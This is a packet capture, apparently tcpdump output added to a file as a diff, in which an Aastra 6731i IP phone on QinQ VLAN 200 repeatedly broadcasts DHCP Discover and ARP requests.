+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53187, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969699e7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53191, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969699e7, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53198, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969699e7, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53214, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969699e7, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53246, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696996b, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53250, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696996b, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53257, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696996b, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53273, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696996b, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53304, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696996b, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53307, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696996b, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53314, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696996b, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53329, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696996b, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53360, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969698f9, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53372, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969698f9, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53379, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969698f9, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53395, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969698f9, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53426, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969698f9, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53430, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969698f9, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53437, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969698f9, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53453, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969698f9, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53485, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696987c, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53492, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696987c, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53499, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696987c, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53514, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696987c, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53545, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696987c, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53548, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696987c, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53555, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696987c, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
